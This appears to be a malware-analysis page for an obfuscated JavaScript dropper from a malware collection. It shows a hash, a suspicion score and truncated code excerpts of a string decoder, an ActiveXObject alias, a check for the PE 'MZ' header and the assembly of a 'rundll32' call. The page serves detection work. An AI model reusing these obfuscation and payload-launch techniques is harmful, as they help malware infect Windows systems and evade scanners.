Suspicious ^66% javascript-malware-collection Download

20161220_134250b21b440657c9e9b5b0e454851b.js

Obfuscated malware with ActiveX and eval

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2562ef3859e5d91df92b38747cf7dbf7c67a8faa201c54ca2a8f7bebb0a3c98899c

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikpedantFROG2XCOP = 0;	
9     var SupchikpedantRazlomSS, SupchikpedantFROG2ddDccC2, SupchikpedantFROG2c3, SupchikpedantFROG2c4;
10
11     var SupchikpedantFROG2out = "";
12
13	 var SupchikpedantFROG2Supchikpedantka= this.replace(/FROSTICK/gi, SupchikpedantFROG2out);
14 var  SupchikpedantFROG2len = SupchikpedantFROG2sud(Supch …

charCodeAt() method call lines 17–20

4… {
	 var Supchikpedantkoch = SupchikpedantFROG2Supchikpedantka.charCodeAt(SupchikpedantFROG2XCOP++) &(0x132- 0x33);
          SupchikpedantRazlomSS = levitron[Supchikpedantkoch];
      } while (SupchikpedantFROG2XCOP < SupchikpedantFRO …

Builds characters with String.fromCharCode lines 27–35

37… 2 +1== 0)
          break;
      SupchikpedantFROG2out += String['fromCharCode']((SupchikpedantRazlomSS << 2) | ((SupchikpedantFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikpedantFROG2c3 = SupchikpedantFROG2Supchikpedantka.charCodeAt(SupchikpedantFROG2XCOP++) & 0xff;
31
          if (SupchikpedantFROG2c3 == 10*6+0.5*2)
              return SupchikpedantFROG2out;
34
          Supchikpe …

ActiveXObject via local alias lines 185–189

185:13… pedantFROG2d2=SupchikpedantFROG2DoUtra.pop();
186SupchikpedantFROG2fabled="Valar2Morgulis";
187 var SupchikpedantFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikpedantFROG2d2.split("45");SupchikpedantFROG2Native.SupchikpedantFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikpedantFROG2$type(a)===b})};
189Sup …

Checks array for PE magic bytes lines 257–264

67… antTalabaev);	
if(SupchikpedantTalabaevLaa < 29989)return false;
if (SupchikpedantTalabaev[0]!= 77 || SupchikpedantTalabaev[1]!= 90)return false;		
SupchikpedantFROG2CHICKA = SupchikpedantFROG2CHICKA  + SupchikpedantFROG2SIDRENKOV;
REBEKK2(SupchikpedantFROG2CHICKA, SupchikpedantTalabaev );
262
var SupchikpedantFROG2ddsSSddSd = ",happy";
264SupchikpedantFROG2ddsSSddSd = (SupchikpedantFROG2StrokaParam2,"undl") + (SupchikpedantFROG2StrokaParam2,"l32 ") + Supchikpeda …